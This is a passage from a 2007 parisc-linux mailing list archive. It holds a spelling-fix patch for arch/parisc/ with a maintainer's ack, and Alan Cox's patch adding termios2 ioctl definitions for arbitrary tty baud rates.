+ * Currently, all PA20 chips have 18 bit protection IDs, which is the
  * limiting factor (space ids are 32 bits).
  */
 
@@ -899,10 +899,10 @@ void __init paging_init(void)
 #else
 
 /*
- * Currently we have a one-to-one relationship between space id's and
- * protection id's. Older parisc chips (PCXS, PCXT, PCXL, PCXL2) only
- * support 15 bit protection id's, so that is the limiting factor.
- * PCXT' has 18 bit protection id's, but only 16 bit spaceids, so it's
+ * Currently we have a one-to-one relationship between space IDs and
+ * protection IDs. Older parisc chips (PCXS, PCXT, PCXL, PCXL2) only
+ * support 15 bit protection IDs, so that is the limiting factor.
+ * PCXT' has 18 bit protection IDs, but only 16 bit spaceids, so it's
  * probably not worth the effort for a special case here.
  */
 
-- 
1.5.0.1

-- 
Simon Arlott
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] spelling fixes: arch/parisc/
Date: Sat, 19 May 2007 19:29:50 -0600
Lines: 346
Approved: news@gmane.org
Message-ID: <20070520012950.GA20195__5890.29629850319$1416624638$gmane$org@colo.lackof.org>
References: <4644C72A.4000608@simon.arlott.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624638 28417 80.91.229.3 (22 Nov 2014 02:50:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:38 +0000 (UTC)
Cc: trivial@kernel.org,
 Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
 parisc-linux@parisc-linux.org
To: Simon Arlott <simon@fire.lp0.eu>
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 May 2007 01:30:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx031) with SMTP; 20 May 2007 03:30:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 54D5E7DC99;
	Sat, 19 May 2007 19:30:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19428-06; Sat, 19 May 2007 19:30:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F014F7DC8F;
	Sat, 19 May 2007 19:30:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 010E37DC74
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 May 2007 19:30:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19431-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 May 2007 19:30:42 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3BA637DC6F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 May 2007 19:30:42 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id F11C8494013; Sat, 19 May 2007 19:30:41 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by mail.parisc-linux.org (Postfix) with ESMTP id BF9EE49400A
	for <parisc-linux@parisc-linux.org>;
	Sat, 19 May 2007 19:30:41 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by cuprel1.hp.com (Postfix) with ESMTP id A49115FB
	for <parisc-linux@parisc-linux.org>;
	Sat, 19 May 2007 18:30:40 -0700 (PDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8F88D338283;
	Sat, 19 May 2007 19:29:57 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20244-01; Sat, 19 May 2007 19:29:50 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 6446B338282; Sat, 19 May 2007 19:29:50 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <4644C72A.4000608@simon.arlott.org.uk>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4518fl9FMmApm7SZZGFnUAIxMjQ1N12O
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25433

On Fri, May 11, 2007 at 08:42:34PM +0100, Simon Arlott wrote:
> Spelling fixes in arch/parisc/.
> 
> Signed-off-by: Simon Arlott <simon@fire.lp0.eu>

Acked-by: Grant Grundler <grundler@parisc-linux.org>

thanks!
grant

> ---
> arch/parisc/kernel/firmware.c    |    4 ++--
> arch/parisc/kernel/perf.c        |   12 ++++++------
> arch/parisc/kernel/processor.c   |    8 ++++----
> arch/parisc/kernel/setup.c       |    2 +-
> arch/parisc/kernel/signal32.h    |    2 +-
> arch/parisc/kernel/smp.c         |    6 +++---
> arch/parisc/kernel/time.c        |    2 +-
> arch/parisc/kernel/traps.c       |    2 +-
> arch/parisc/math-emu/dbl_float.h |    4 ++--
> arch/parisc/math-emu/dfsqrt.c    |    2 +-
> arch/parisc/math-emu/sfsqrt.c    |    2 +-
> arch/parisc/math-emu/sgl_float.h |    4 ++--
> arch/parisc/mm/init.c            |   10 +++++-----
> 13 files changed, 30 insertions(+), 30 deletions(-)
> 
> diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
> index 39dc835..fd6552c 100644
> --- a/arch/parisc/kernel/firmware.c
> +++ b/arch/parisc/kernel/firmware.c
> @@ -634,7 +634,7 @@ EXPORT_SYMBOL(pdc_lan_station_id);
>  * pdc_stable_read - Read data from Stable Storage.
>  * @staddr: Stable Storage address to access.
>  * @memaddr: The memory address where Stable Storage data shall be copied.
> - * @count: number of bytes to transfert. count is multiple of 4.
> + * @count: number of bytes to transfer. count is multiple of 4.
>  *
>  * This PDC call reads from the Stable Storage address supplied in staddr
>  * and copies count bytes to the memory address memaddr.
> @@ -660,7 +660,7 @@ EXPORT_SYMBOL(pdc_stable_read);
>  * pdc_stable_write - Write data to Stable Storage.
>  * @staddr: Stable Storage address to access.
>  * @memaddr: The memory address where Stable Storage data shall be read 
>  from.
> - * @count: number of bytes to transfert. count is multiple of 4.
> + * @count: number of bytes to transfer. count is multiple of 4.
>  *
>  * This PDC call reads count bytes from the supplied memaddr address,
>  * and copies count bytes to the Stable Storage address staddr.
> diff --git a/arch/parisc/kernel/perf.c b/arch/parisc/kernel/perf.c
> index a46bc62..d324021 100644
> --- a/arch/parisc/kernel/perf.c
> +++ b/arch/parisc/kernel/perf.c
> @@ -171,7 +171,7 @@ static const uint64_t perf_bitmasks[] = {
> 
> /*
>  * Write control bitmasks for Pa-8700 processor given
> - * somethings have changed slightly.
> + * some things have changed slightly.
>  */
> static const uint64_t perf_bitmasks_piranha[] = {
> 	0x0000000000000000ul,     /* first dbl word must be zero */
> @@ -574,27 +574,27 @@ static int perf_stop_counters(uint32_t *raddr)
> 		if (!perf_rdr_read_ubuf(16, userbuf))
> 			return -13;
> 
> -		/* Counter0 is bits 1398 thru 1429 */
> +		/* Counter0 is bits 1398 to 1429 */
> 		tmp64 =  (userbuf[21] << 22) & 0x00000000ffc00000;
> 		tmp64 |= (userbuf[22] >> 42) & 0x00000000003fffff;
> 		/* OR sticky0 (bit 1430) to counter0 bit 32 */
> 		tmp64 |= (userbuf[22] >> 10) & 0x0000000080000000;
> 		raddr[0] = (uint32_t)tmp64;
> 
> -		/* Counter1 is bits 1431 thru 1462 */
> +		/* Counter1 is bits 1431 to 1462 */
> 		tmp64 =  (userbuf[22] >> 9) & 0x00000000ffffffff;
> 		/* OR sticky1 (bit 1463) to counter1 bit 32 */
> 		tmp64 |= (userbuf[22] << 23) & 0x0000000080000000;
> 		raddr[1] = (uint32_t)tmp64;
> 
> -		/* Counter2 is bits 1464 thru 1495 */
> +		/* Counter2 is bits 1464 to 1495 */
> 		tmp64 =  (userbuf[22] << 24) & 0x00000000ff000000;
> 		tmp64 |= (userbuf[23] >> 40) & 0x0000000000ffffff;
> 		/* OR sticky2 (bit 1496) to counter2 bit 32 */
> 		tmp64 |= (userbuf[23] >> 8) & 0x0000000080000000;
> 		raddr[2] = (uint32_t)tmp64;
> 		
> -		/* Counter3 is bits 1497 thru 1528 */
> +		/* Counter3 is bits 1497 to 1528 */
> 		tmp64 =  (userbuf[23] >> 7) & 0x00000000ffffffff;
> 		/* OR sticky3 (bit 1529) to counter3 bit 32 */
> 		tmp64 |= (userbuf[23] << 25) & 0x0000000080000000;
> @@ -616,7 +616,7 @@ static int perf_stop_counters(uint32_t *raddr)
> 		userbuf[23] = 0;
> 
> 		/* 
> -		 * Write back the zero'ed bytes + the image given
> +		 * Write back the zeroed bytes + the image given
> 		 * the read was destructive.
> 		 */
> 		perf_rdr_write(16, userbuf);
> diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
> index dd5d0cb..15992f4 100644
> --- a/arch/parisc/kernel/processor.c
> +++ b/arch/parisc/kernel/processor.c
> @@ -63,7 +63,7 @@ extern int update_cr16_clocksource(void);	/* from 
> time.c */
> ** will call register_parisc_driver(&cpu_driver) before calling 
> do_inventory().
> **
> ** The goal of consolidating CPU initialization into one place is
> -** to make sure all CPU's get initialized the same way.
> +** to make sure all CPUs get initialized the same way.
> ** The code path not shared is how PDC hands control of the CPU to the OS.
> ** The initialization of OS data structures is the same (done below).
> */
> @@ -166,7 +166,7 @@ static int __init processor_probe(struct parisc_device 
> *dev)
> #endif
> 
> 	/*
> -	** CONFIG_SMP: init_smp_config() will attempt to get CPU's into
> +	** CONFIG_SMP: init_smp_config() will attempt to get CPUs into
> 	** OS control. RENDEZVOUS is the default state - see mem_set above.
> 	**	p->state = STATE_RENDEZVOUS;
> 	*/
> @@ -334,7 +334,7 @@ int __init init_per_cpu(int cpunum)
> }
> 
> /*
> - * Display cpu info for all cpu's.
> + * Display CPU info for all CPUs.
>  */
> int
> show_cpuinfo (struct seq_file *m, void *v)
> @@ -393,7 +393,7 @@ static struct parisc_driver cpu_driver __read_mostly = {
> };
> 
> /**
> - * processor_init - Processor initalization procedure.
> + * processor_init - Processor initialization procedure.
>  *
>  * Register this driver.
>  */
> diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
> index 9818919..9d2a1d5 100644
> --- a/arch/parisc/kernel/setup.c
> +++ b/arch/parisc/kernel/setup.c
> @@ -162,7 +162,7 @@ void __init setup_arch(char **cmdline_p)
> }
> 
> /*
> - * Display cpu info for all cpu's.
> + * Display CPU info for all CPUs.
>  * for parisc this is in processor.c
>  */
> extern int show_cpuinfo (struct seq_file *m, void *v);
> diff --git a/arch/parisc/kernel/signal32.h b/arch/parisc/kernel/signal32.h
> index e39b38a..c780084 100644
> --- a/arch/parisc/kernel/signal32.h
> +++ b/arch/parisc/kernel/signal32.h
> @@ -113,7 +113,7 @@ int copy_siginfo_from_user32 (siginfo_t *to, 
> compat_siginfo_t __user *from);
> /* In a deft move of uber-hackery, we decide to carry the top half of all
>  * 64-bit registers in a non-portable, non-ABI, hidden structure.
>  * Userspace can read the hidden structure if it *wants* but is never
> - * guaranteed to be in the same place. Infact the uc_sigmask from the
> + * guaranteed to be in the same place. In fact the uc_sigmask from the
>  * ucontext_t structure may push the hidden register file downards
>  */
> struct compat_regfile {
> diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
> index 6ba9257..4bf7cd1 100644
> --- a/arch/parisc/kernel/smp.c
> +++ b/arch/parisc/kernel/smp.c
> @@ -8,7 +8,7 @@
> ** Lots of stuff stolen from arch/alpha/kernel/smp.c
> ** ...and then parisc stole from arch/ia64/kernel/smp.c. Thanks David! :^)
> **
> -** Thanks to John Curry and Ullas Ponnadi. I learned alot from their work.
> +** Thanks to John Curry and Ullas Ponnadi. I learned a lot from their work.
> ** -grant (1/12/2001)
> **
> **	This program is free software; you can redistribute it and/or modify
> @@ -419,7 +419,7 @@ smp_cpu_init(int cpunum)
> 		BUG();
> 	enter_lazy_tlb(&init_mm, current);
> 
> -	init_IRQ();   /* make sure no IRQ's are enabled or pending */
> +	init_IRQ();   /* make sure no IRQs are enabled or pending */
> 	start_cpu_itimer();
> }
> 
> @@ -552,7 +552,7 @@ void __devinit smp_prepare_boot_cpu(void)
> 
> /*
> ** inventory.c:do_inventory() hasn't yet been run and thus we
> -** don't 'discover' the additional CPU's until later.
> +** don't 'discover' the additional CPUs until later.
> */
> void __init smp_prepare_cpus(unsigned int max_cpus)
> {
> diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
> index 07a991a..8b3062a 100644
> --- a/arch/parisc/kernel/time.c
> +++ b/arch/parisc/kernel/time.c
> @@ -191,7 +191,7 @@ int update_cr16_clocksource(void)
> {
> 	int change = 0;
> 
> -	/* since the cr16 cycle counters are not syncronized across CPUs,
> +	/* since the cr16 cycle counters are not synchronized across CPUs,
> 	   we'll check if we should switch to a safe clocksource: */
> 	if (clocksource_cr16.rating != 0 && num_online_cpus() > 1) {
> 		clocksource_change_rating(&clocksource_cr16, 0);
> diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
> index 745ff74..6c05545 100644
> --- a/arch/parisc/kernel/traps.c
> +++ b/arch/parisc/kernel/traps.c
> @@ -615,7 +615,7 @@ void handle_interruption(int code, struct pt_regs *regs)
> 		
> 	case 13:
> 		/* Conditional Trap
> -		   The condition succees in an instruction which traps 
> +		   The condition succeeds in an instruction which traps 
> 		   on condition  */
> 		if(user_mode(regs)){
> 			si.si_signo = SIGFPE;
> diff --git a/arch/parisc/math-emu/dbl_float.h 
> b/arch/parisc/math-emu/dbl_float.h
> index 1570e2e..0c2fa9a 100644
> --- a/arch/parisc/math-emu/dbl_float.h
> +++ b/arch/parisc/math-emu/dbl_float.h
> @@ -22,7 +22,7 @@
>     PA header file -- do not include this header file for non-PA builds.
> #endif
> 
> -/* 32-bit word grabing functions */
> +/* 32-bit word grabbing functions */
> #define Dbl_firstword(value) Dallp1(value)
> #define Dbl_secondword(value) Dallp2(value)
> #define Dbl_thirdword(value) dummy_location
> @@ -37,7 +37,7 @@
> #define Dbl_allp1(object) Dallp1(object)
> #define Dbl_allp2(object) Dallp2(object)
> 
> -/* dbl_and_signs ands the sign bits of each argument and puts the result
> +/* dbl_and_signs ANDs the sign bits of each argument and puts the result
>  * into the first argument. dbl_or_signs ors those same sign bits */
> #define Dbl_and_signs( src1dst, src2)		\
>     Dallp1(src1dst) = (Dallp1(src2)|~((unsigned int)1<<31)) & 
>     Dallp1(src1dst)
> diff --git a/arch/parisc/math-emu/dfsqrt.c b/arch/parisc/math-emu/dfsqrt.c
> index b6ed106..9542c6d 100644
> --- a/arch/parisc/math-emu/dfsqrt.c
> +++ b/arch/parisc/math-emu/dfsqrt.c
> @@ -76,7 +76,7 @@ dbl_fsqrt(
>                 }
>                 /*
>                  * Return quiet NaN or positive infinity.
> -		 *  Fall thru to negative test if negative infinity.
> +		 *  Fall through to negative test if negative infinity.
>                  */
> 		if (Dbl_iszero_sign(srcp1) || 
> 		    Dbl_isnotzero_mantissa(srcp1,srcp2)) {
> diff --git a/arch/parisc/math-emu/sfsqrt.c b/arch/parisc/math-emu/sfsqrt.c
> index cd3f6db..4657a12 100644
> --- a/arch/parisc/math-emu/sfsqrt.c
> +++ b/arch/parisc/math-emu/sfsqrt.c
> @@ -76,7 +76,7 @@ sgl_fsqrt(
>                 }
>                 /*
>                  * Return quiet NaN or positive infinity.
> -		 *  Fall thru to negative test if negative infinity.
> +		 *  Fall through to negative test if negative infinity.
>                  */
> 		if (Sgl_iszero_sign(src) || Sgl_isnotzero_mantissa(src)) {
>                 	*dstptr = src;
> diff --git a/arch/parisc/math-emu/sgl_float.h 
> b/arch/parisc/math-emu/sgl_float.h
> index 82519a5..4ee4cc9 100644
> --- a/arch/parisc/math-emu/sgl_float.h
> +++ b/arch/parisc/math-emu/sgl_float.h
> @@ -23,7 +23,7 @@
>     PA header file -- do not include this header file for non-PA builds.
> #endif
> 
> -/* 32-bit word grabing functions */
> +/* 32-bit word grabbing functions */
> #define Sgl_firstword(value) Sall(value)
> #define Sgl_secondword(value) dummy_location
> #define Sgl_thirdword(value) dummy_location
> @@ -36,7 +36,7 @@
> #define Sgl_exponentmantissa(object) Sexponentmantissa(object)
> #define Sgl_all(object) Sall(object)
> 
> -/* sgl_and_signs ands the sign bits of each argument and puts the result
> +/* sgl_and_signs ANDs the sign bits of each argument and puts the result
>  * into the first argument. sgl_or_signs ors those same sign bits */
> #define Sgl_and_signs( src1dst, src2)		\
>     Sall(src1dst) = (Sall(src2)|~((unsigned int)1<<31)) & Sall(src1dst)
> diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> index 75ea9f2..e724b36 100644
> --- a/arch/parisc/mm/init.c
> +++ b/arch/parisc/mm/init.c
> @@ -890,7 +890,7 @@ void __init paging_init(void)
> #ifdef CONFIG_PA20
> 
> /*
> - * Currently, all PA20 chips have 18 bit protection id's, which is the
> + * Currently, all PA20 chips have 18 bit protection IDs, which is the
>  * limiting factor (space ids are 32 bits).
>  */
> 
> @@ -899,10 +899,10 @@ void __init paging_init(void)
> #else
> 
> /*
> - * Currently we have a one-to-one relationship between space id's and
> - * protection id's. Older parisc chips (PCXS, PCXT, PCXL, PCXL2) only
> - * support 15 bit protection id's, so that is the limiting factor.
> - * PCXT' has 18 bit protection id's, but only 16 bit spaceids, so it's
> + * Currently we have a one-to-one relationship between space IDs and
> + * protection IDs. Older parisc chips (PCXS, PCXT, PCXL, PCXL2) only
> + * support 15 bit protection IDs, so that is the limiting factor.
> + * PCXT' has 18 bit protection IDs, but only 16 bit spaceids, so it's
>  * probably not worth the effort for a special case here.
>  */
> 
> -- 
> 1.5.0.1
> 
> -- 
> Simon Arlott
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] parisc: Enable arbitary speed tty ioctl
	interfaces
Date: Wed, 23 May 2007 17:51:02 +0100
Organization: Red Hat UK Cyf., Amberley Place, 107-111 Peascod Street,
	Windsor, Berkshire, SL4 1TE,
	Y Deyrnas Gyfunol. Cofrestrwyd yng Nghymru a
	Lloegr o'r rhif cofrestru 3798903
Lines: 67
Approved: news@gmane.org
Message-ID: <20070523175102.65553ff5__48801.0094770745$1416624639$gmane$org@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624639 28423 80.91.229.3 (22 Nov 2014 02:50:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:39 +0000 (UTC)
To: matthew@wil.cx,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 May 2007 16:48:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx025) with SMTP; 23 May 2007 18:48:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 42B1B7DDB4;
	Wed, 23 May 2007 10:48:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26236-10; Wed, 23 May 2007 10:48:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 048177DDA7;
	Wed, 23 May 2007 10:48:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2826A7DDB2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 May 2007 10:48:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26236-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 May 2007 10:48:41 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 65E417DDA7
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 23 May 2007 10:48:41 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 27E85494007; Wed, 23 May 2007 10:48:41 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by mail.parisc-linux.org (Postfix) with ESMTP id D9315494003
	for <parisc-linux@parisc-linux.org>;
	Wed, 23 May 2007 10:48:00 -0600 (MDT)
Original-Received: from the-village.bc.nu (unknown [81.2.110.250])
	by cuprel1.hp.com (Postfix) with ESMTP id B712366B
	for <parisc-linux@parisc-linux.org>;
	Wed, 23 May 2007 09:47:54 -0700 (PDT)
Original-Received: from the-village.bc.nu (localhost.localdomain [127.0.0.1])
	by the-village.bc.nu (8.13.8/8.13.8) with ESMTP id l4NGp2wQ019827;
	Wed, 23 May 2007 17:51:03 +0100
X-Mailer: Claws Mail 2.9.1 (GTK+ 2.10.8; i386-redhat-linux-gnu)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: alan@lxorguk.ukuu.org.uk)
X-GMX-UID: Q0VmfnISPjltz+rBOTU2yZYzMTE2NQk5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25434

All the code is already present in the tree and used by some other
platforms (eg x86_64). Adding the constants and defines activates it for
parisc.

Signed-off-by: Alan Cox <alan@redhat.com>

diff -u --new-file --recursive --exclude-from /usr/src/exclude linux.vanilla-2.6.22-rc1-mm1/include/asm-parisc/ioctls.h linux-2.6.22-rc1-mm1/include/asm-parisc/ioctls.h
--- linux.vanilla-2.6.22-rc1-mm1/include/asm-parisc/ioctls.h	2007-04-30 10:48:18.000000000 +0100
+++ linux-2.6.22-rc1-mm1/include/asm-parisc/ioctls.h	2007-05-23 16:38:15.454648304 +0100
@@ -46,6 +46,10 @@
 #define TIOCSBRK	0x5427  /* BSD compatibility */
 #define TIOCCBRK	0x5428  /* BSD compatibility */
 #define TIOCGSID	_IOR('T', 20, int) /* Return the session ID of FD */
+#define TCGETS2		_IOR('T',0x2A, struct termios2)
+#define TCSETS2		_IOW('T',0x2B, struct termios2)
+#define TCSETSW2	_IOW('T',0x2C, struct termios2)
+#define TCSETSF2	_IOW('T',0x2D, struct termios2)
 #define TIOCGPTN	_IOR('T',0x30, unsigned int) /* Get Pty Number (of pty-mux device) */
 #define TIOCSPTLCK	_IOW('T',0x31, int)  /* Lock/unlock Pty */
 
diff -u --new-file --recursive --exclude-from /usr/src/exclude linux.vanilla-2.6.22-rc1-mm1/include/asm-parisc/termbits.h linux-2.6.22-rc1-mm1/include/asm-parisc/termbits.h
--- linux.vanilla-2.6.22-rc1-mm1/include/asm-parisc/termbits.h	2007-04-30 10:48:18.000000000 +0100
+++ linux-2.6.22-rc1-mm1/include/asm-parisc/termbits.h	2007-05-23 16:37:48.499746072 +0100
@@ -130,6 +130,7 @@
 #define HUPCL   0002000
 #define CLOCAL  0004000
 #define CBAUDEX 0010000
+#define    BOTHER 0010000
 #define    B57600 0010001
 #define   B115200 0010002
 #define   B230400 0010003
@@ -145,10 +146,12 @@
 #define  B3000000 0010015
 #define  B3500000 0010016
 #define  B4000000 0010017
-#define CIBAUD    002003600000  /* input baud rate (not used) */
+#define CIBAUD    002003600000		/* input baud rate */
 #define CMSPAR    010000000000          /* mark or space (stick) parity */
 #define CRTSCTS   020000000000          /* flow control */
 
+#define IBSHIFT	16		/* Shift from CBAUD to CIBAUD */
+
 
 /* c_lflag bits */
 #define ISIG    0000001
diff -u --new-file --recursive --exclude-from /usr/src/exclude linux.vanilla-2.6.22-rc1-mm1/include/asm-parisc/termios.h linux-2.6.22-rc1-mm1/include/asm-parisc/termios.h
--- linux.vanilla-2.6.22-rc1-mm1/include/asm-parisc/termios.h	2007-04-30 11:00:07.000000000 +0100
+++ linux-2.6.22-rc1-mm1/include/asm-parisc/termios.h	2007-05-23 16:37:55.371701376 +0100
@@ -80,8 +80,10 @@
 	copy_to_user((termio)->c_cc, (termios)->c_cc, NCC); \
 })
 
-#define user_termios_to_kernel_termios(k, u) copy_from_user(k, u, sizeof(struct termios))
-#define kernel_termios_to_user_termios(u, k) copy_to_user(u, k, sizeof(struct termios))
+#define user_termios_to_kernel_termios(k, u) copy_from_user(k, u, sizeof(struct termios2))
+#define kernel_termios_to_user_termios(u, k) copy_to_user(u, k, sizeof(struct termios2))
+#define user_termios_to_kernel_termios_1(k, u) copy_from_user(k, u, sizeof(struct termios))
+#define kernel_termios_to_user_termios_1(u, k) copy_to_user(u, k, sizeof(struct termios))
 
 #endif	/* __KERNEL__ */
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] parisc: Enable arbitary speed tty ioctl
	interfaces
